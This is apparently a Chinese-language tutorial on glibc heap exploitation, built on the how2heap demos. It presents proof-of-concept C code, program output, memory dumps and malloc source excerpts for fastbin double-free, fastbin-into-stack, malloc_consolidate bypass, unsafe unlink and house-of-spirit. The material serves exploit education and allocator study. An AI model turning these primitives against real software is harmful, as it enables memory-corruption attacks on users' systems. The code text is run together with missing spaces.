#include<stdio.h>#include<stdlib.h>#include<string.h>intmain() {char* a =malloc(512);char* b =malloc(256);char* c;fprintf(stderr,"1st malloc(512): %p\n", a);fprintf(stderr,"2nd malloc(256): %p\n", b);strcpy(a,"AAAAAAAA");strcpy(b,"BBBBBBBB");fprintf(stderr,"first allocation %p points to %s\n", a, a);fprintf(stderr,"Freeing the first one...\n");free(a); c =malloc(500);fprintf(stderr,"3rd malloc(500): %p\n", c);strcpy(c,"CCCCCCCC");fprintf(stderr,"3rd allocation %p points to %s\n", c, c);fprintf(stderr,"first allocation %p points to %s\n", a, a);}
$ gcc -g first_fit.c
$ ./a.out
1st malloc(512): 0x1380010
2nd malloc(256): 0x1380220
first allocation 0x1380010 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x1380010
3rd allocation 0x1380010 points to CCCCCCCC
first allocation 0x1380010 points to CCCCCCCC
$ gcc -fsanitize=address -g first_fit.c
$ ./a.out
1st malloc(512): 0x61500000fd00
2nd malloc(256): 0x611000009f00
first allocation 0x61500000fd00 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x61500000fa80
3rd allocation 0x61500000fa80 points to CCCCCCCC
=================================================================
==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
READ of size 2 at 0x61500000fd00 thread T0
#0 0x7f49d14a61e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
#1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
#2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
#3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
#4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
freed by thread T0 here:
#0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#include<stdio.h>#include<stdlib.h>#include<string.h>intmain() {fprintf(stderr,"Allocating 3 buffers.\n");char*a =malloc(9);char*b =malloc(9);char*c =malloc(9);strcpy(a,"AAAAAAAA");strcpy(b,"BBBBBBBB");strcpy(c,"CCCCCCCC");fprintf(stderr,"1st malloc(9) %p points to %s\n", a, a);fprintf(stderr,"2nd malloc(9) %p points to %s\n", b, b);fprintf(stderr,"3rd malloc(9) %p points to %s\n", c, c);fprintf(stderr,"Freeing the first one %p.\n", a);free(a);fprintf(stderr,"Then freeing another one %p.\n", b);free(b);fprintf(stderr,"Freeing the first one %p again.\n", a);free(a);fprintf(stderr,"Allocating 3 buffers.\n");char*d =malloc(9);char*e =malloc(9);char*f =malloc(9);strcpy(d,"DDDDDDDD");fprintf(stderr,"4st malloc(9) %p points to %s the first time\n", d, d);strcpy(e,"EEEEEEEE");fprintf(stderr,"5nd malloc(9) %p points to %s\n", e, e);strcpy(f,"FFFFFFFF");fprintf(stderr,"6rd malloc(9) %p points to %s the second time\n", f, f);}
$ gcc -g fastbin_dup.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0x1c07010 points to AAAAAAAA
2nd malloc(9) 0x1c07030 points to BBBBBBBB
3rd malloc(9) 0x1c07050 points to CCCCCCCC
Freeing the first one 0x1c07010.
Then freeing another one 0x1c07030.
Freeing the first one 0x1c07010 again.
Allocating 3 buffers.
4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
5nd malloc(9) 0x1c07030 points to EEEEEEEE
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
/* Check that the top of the bin is not the record we are going to add (i.e., double free). */if (__builtin_expect (old == p,0)) { errstr ="double free or corruption (fasttop)";goto errout; }
它在检查 fast bin 的 double-free 时只是检查了第一个块。所以其实是存在缺陷的。
三个 malloc 之后:
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
0x602070: 0x0000000000000000
$ gcc -fsanitize=address -g fastbin_dup.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0x60200000eff0 points to AAAAAAAA
2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
Freeing the first one 0x60200000eff0.
Then freeing another one 0x60200000efd0.
Freeing the first one 0x60200000eff0 again.
=================================================================
==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
freed by thread T0 here:
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#include<stdio.h>#include<stdlib.h>#include<string.h>intmain() {unsignedlonglong stack_var =0x21;fprintf(stderr,"Allocating 3 buffers.\n");char*a =malloc(9);char*b =malloc(9);char*c =malloc(9);strcpy(a,"AAAAAAAA");strcpy(b,"BBBBBBBB");strcpy(c,"CCCCCCCC");fprintf(stderr,"1st malloc(9) %p points to %s\n", a, a);fprintf(stderr,"2nd malloc(9) %p points to %s\n", b, b);fprintf(stderr,"3rd malloc(9) %p points to %s\n", c, c);fprintf(stderr,"Freeing the first one %p.\n", a);free(a);fprintf(stderr,"Then freeing another one %p.\n", b);free(b);fprintf(stderr,"Freeing the first one %p again.\n", a);free(a);fprintf(stderr,"Allocating 4 buffers.\n");unsignedlonglong*d =malloc(9);*d = (unsignedlonglong) (((char*)&stack_var) -sizeof(d));fprintf(stderr,"4nd malloc(9) %p points to %p\n", d,&d);char*e =malloc(9);strcpy(e,"EEEEEEEE");fprintf(stderr,"5nd malloc(9) %p points to %s\n", e, e);char*f =malloc(9);strcpy(f,"FFFFFFFF");fprintf(stderr,"6rd malloc(9) %p points to %s\n", f, f);char*g =malloc(9);strcpy(g,"GGGGGGGG");fprintf(stderr,"7th malloc(9) %p points to %s\n", g, g);}
$ gcc -g fastbin_dup_into_stack.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0xcf2010 points to AAAAAAAA
2nd malloc(9) 0xcf2030 points to BBBBBBBB
3rd malloc(9) 0xcf2050 points to CCCCCCCC
Freeing the first one 0xcf2010.
Then freeing another one 0xcf2030.
Freeing the first one 0xcf2010 again.
Allocating 4 buffers.
4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
5nd malloc(9) 0xcf2030 points to EEEEEEEE
6rd malloc(9) 0xcf2010 points to FFFFFFFF
7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG
#include<stdio.h>#include<stdint.h>#include<stdlib.h>#include<string.h>intmain() {void*p1 =malloc(0x10);void*p2 =malloc(0x10);strcpy(p1,"AAAAAAAA");strcpy(p2,"BBBBBBBB");fprintf(stderr,"Allocated two fastbins: p1=%p p2=%p\n", p1, p2);fprintf(stderr,"Now free p1!\n");free(p1);void*p3 =malloc(0x400);fprintf(stderr,"Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);fprintf(stderr,"In malloc_consolidate(), p1 is moved to the unsorted bin.\n");free(p1);fprintf(stderr,"Trigger the double free vulnerability!\n");fprintf(stderr,"We can pass the check in malloc() since p1 is not fast top.\n");void*p4 =malloc(0x10);strcpy(p4,"CCCCCCC");void*p5 =malloc(0x10);strcpy(p5,"DDDDDDDD");fprintf(stderr,"Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p%p\n", p4, p5);}
$ gcc -g fastbin_dup_consolidate.c
$ ./a.out
Allocated two fastbins: p1=0x17c4010 p2=0x17c4030
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010
这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。
/* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment. */else { idx =largebin_index (nb);if (have_fastchunks (av))malloc_consolidate (av); }
当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<stdint.h>uint64_t*chunk0_ptr;intmain() {int malloc_size =0x80; // not fastbinsint header_size =2; chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0uint64_t*chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1fprintf(stderr,"The global chunk0_ptr is at %p, pointing to %p\n",&chunk0_ptr, chunk0_ptr);fprintf(stderr,"The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);// pass this check: (P->fd->bk != P || P->bk->fd != P) == False chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);fprintf(stderr,"Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);fprintf(stderr,"Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);// pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False// chunk0_ptr[1] = 0x0; // or 0x8, 0x80uint64_t*chunk1_hdr = chunk1_ptr - header_size; chunk1_hdr[0] = malloc_size; chunk1_hdr[1] &=~1;// deal with tcache// int *a[10];// int i;// for (i = 0; i < 7; i++) {// a[i] = malloc(0x80);// }// for (i = 0; i < 7; i++) {// free(a[i]);// }free(chunk1_ptr);char victim_string[9];strcpy(victim_string,"AAAAAAAA"); chunk0_ptr[3] = (uint64_t) victim_string;fprintf(stderr,"Original value: %s\n", victim_string); chunk0_ptr[0] =0x4242424242424242LL;fprintf(stderr,"New Value: %s\n", victim_string);}
$ gcc -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x601070, pointing to 0x721010
The victim chunk we are going to corrupt is at 0x7210a0
Fake chunk fd: 0x601058
Fake chunk bk: 0x601060
Original value: AAAAAAAA
New Value: BBBBBBBB
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.ccommit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30Author: DJ Delorie <dj@delorie.com>Date: Fri Mar 17 15:31:38 2017 -0400 Further harden glibc malloc metadata against 1-byte overflows. Additional check for chunk_size == next->prev->chunk_size in unlink() 2017-03-17 Chris Evans <scarybeasts@gmail.com> * malloc/malloc.c (unlink): Add consistency check between size and next->prev->size, to further harden against 1-byte overflows.diff --git a/malloc/malloc.c b/malloc/malloc.cindex e29105c372..994a23248e 100644--- a/malloc/malloc.c+++ b/malloc/malloc.c@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr; /* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) { \+ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \+ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
具体是这样的:
/* Ptr to next physical malloc_chunk. */#definenext_chunk(p) ((mchunkptr) (((char*) (p)) +chunksize (p)))/* Get size, ignoring use bits */#definechunksize(p) (chunksize_nomask (p) &~(SIZE_BITS))/* Like chunksize, but do not mask SIZE_BITS. */#definechunksize_nomask(p) ((p)->mchunk_size)/* Size of the chunk below P. Only valid if prev_inuse (P). */#defineprev_size(p) ((p)->mchunk_prev_size)/* Bits to mask off when extracting size */#defineSIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
$ gcc -fsanitize=address -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80
The victim chunk we are going to corrupt is at 0x60c00000bec0
Fake chunk fd: 0x602218
Fake chunk bk: 0x602220
=================================================================
==5591==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000beb0 at pc 0x000000400d74 bp 0x7ffd06423730 sp 0x7ffd06423720
WRITE of size 8 at 0x60c00000beb0 thread T0
#0 0x400d73 in main /home/firmy/how2heap/unsafe_unlink.c:26
#1 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#2 0x400968 in _start (/home/firmy/how2heap/a.out+0x400968)
0x60c00000beb0 is located 16 bytes to the left of 128-byte region [0x60c00000bec0,0x60c00000bf40)
allocated by thread T0 here:
#0 0x7fc9261c4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400b12 in main /home/firmy/how2heap/unsafe_unlink.c:13
#2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
house_of_spirit
#include<stdio.h>#include<stdlib.h>intmain() {malloc(1);fprintf(stderr,"We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");unsignedlonglong*a,*b;unsignedlonglong fake_chunks[10] __attribute__ ((aligned (16)));fprintf(stderr,"The first one: %p\n",&fake_chunks[0]);fprintf(stderr,"The second one: %p\n",&fake_chunks[4]); fake_chunks[1] =0x20; // the size fake_chunks[5] =0x1234; // nextsize fake_chunks[2] =0x4141414141414141LL; fake_chunks[6] =0x4141414141414141LL;fprintf(stderr,"Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n",&fake_chunks[0]); a =&fake_chunks[2];fprintf(stderr,"Freeing the overwritten pointer.\n");free(a);fprintf(stderr,"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n",&fake_chunks[0],&fake_chunks[2]); b =malloc(0x10);fprintf(stderr,"malloc(0x10): %p\n", b); b[0] =0x4242424242424242LL;}
$ gcc -g house_of_spirit.c
$ ./a.out
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
The first one: 0x7ffc782dae00
The second one: 0x7ffc782dae20
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10!
malloc(0x10): 0x7ffc782dae10
house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制 EIP 来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被 free 的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个 fast bin 块的元数据,接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。
mem 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换:
/* conversion from malloc headers to user pointers, and back */#definechunk2mem(p) ((void*)((char*)(p) +2*SIZE_SZ))#definemem2chunk(mem) ((mchunkptr)((char*)(mem) -2*SIZE_SZ))
当 NON_MAIN_ARENA 为零时返回 main arena:
/* find the heap and corresponding arena for a given ptr */#defineheap_for_ptr(ptr) \ ((heap_info *) ((unsignedlong) (ptr) &~(HEAP_MAX_SIZE -1)))#definearena_for_chunk(ptr) \ (chunk_non_main_arena (ptr) ?heap_for_ptr (ptr)->ar_ptr :&main_arena)
这样,程序就顺利地进入了 _int_free 函数:
staticvoid_int_free (mstate av, mchunkptr p,int have_lock){ INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ [...] size =chunksize (p); [...] /* If eligible, place chunk on a fastbin so it can be found and used quickly in malloc. */if ((unsignedlong)(size) <= (unsignedlong)(get_max_fast ())#ifTRIM_FASTBINS /* If TRIM_FASTBINS set, don't place chunks bordering top into fastbins */&& (chunk_at_offset(p, size)!=av->top)#endif ) {if (__builtin_expect (chunk_at_offset (p, size)->size <=2* SIZE_SZ,0)||__builtin_expect (chunksize (chunk_at_offset (p, size))>=av->system_mem,0)) { [...] errstr ="free(): invalid next size (fast)";goto errout; } [...]set_fastchunks(av);unsignedint idx =fastbin_index(size); fb =&fastbin (av, idx); /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ mchunkptr old =*fb, old2; [...]do { [...]p->fd = old2 = old; }while ((old =catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
其中下面的宏函数用于获得 next chunk:
/* Treat space at ptr + offset as a chunk */#definechunk_at_offset(p, s) ((mchunkptr) (((char*) (p)) + (s)))
$ gcc -fsanitize=address -g house_of_spirit.c
$ ./a.out
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
The first one: 0x7fffa61d6c00
The second one: 0x7fffa61d6c20
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00.
Freeing the overwritten pointer.
=================================================================
==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0
#0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24
#2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8)